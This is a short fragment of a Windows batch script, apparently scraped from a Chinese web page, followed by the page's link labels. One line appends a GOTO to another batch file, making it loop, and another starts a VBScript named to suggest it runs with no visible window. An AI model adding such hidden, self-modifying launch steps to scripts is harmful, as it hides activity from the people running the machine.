@ECHO GOTO TASK >>TASK.BAT
START WSCRIPT.EXE NOWINDOWS.VBS

延伸 · 阅读

精彩推荐